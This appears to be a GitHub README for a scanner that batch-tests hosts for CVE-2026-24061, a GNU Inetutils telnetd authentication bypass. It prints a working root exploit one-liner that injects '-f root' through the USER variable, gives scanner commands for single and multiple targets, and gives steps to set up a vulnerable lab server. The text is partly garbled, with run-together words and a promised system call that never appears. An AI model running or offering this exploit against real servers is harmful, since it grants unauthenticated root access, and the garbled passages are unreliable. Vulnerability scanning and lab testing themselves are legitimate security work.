monstertsl/cve-2026-24061Python-based scanner that detects CVE-2026-24061 in GNU Inetutils telnetd, allowing batch testing of multiple targets for the authentication bypass vulnerability.
⚠️ Note:
CVE-2026-24061GNU Inetutils is a classic set of network tools provided by the GNU project, which includes thetelnetdservice, i.e., the Telnet server daemon. In versions 1.9.3 through 2.7, thetelnetdservice has a fatal flaw in the user authentication process. When the service invokes the system login program/usr/bin/login, it fails to properly filter and validate the USER environment variable passed by the client. An attacker can inject the-fparameter directly into thelogincommand by setting a specific USER variable value. The-fparameter of theloginprogram is used to "skip secondary authentication", which allows the attacker to completely bypass all password verification steps and directly establish a remote session as the root user, thereby gaining the highest level of control over the server. This vulnerability is extremely dangerous, equivalent to a public, credential-free remote root backdoor.
USER='-f root' telnet -a <target_ip>
python3 cve-2026-24061.py -i 10.10.168.128
python3 cve-2026-24061.py -f targets.txt
The above command sets the environment variable USER to -f root. When a vulnerable telnetd service receives the connection, it constructs and executes a system call similar to the following:
sudo apt update
sudo apt install openbsd-inetd inetutils-telnetd telnet -y
sudo sed -i 's/^#telnet/telnet/' /etc/inetd.conf
sudo systemctl restart openbsd-inetd
sudo ss -tuln | grep ':23'
telnet localhost 23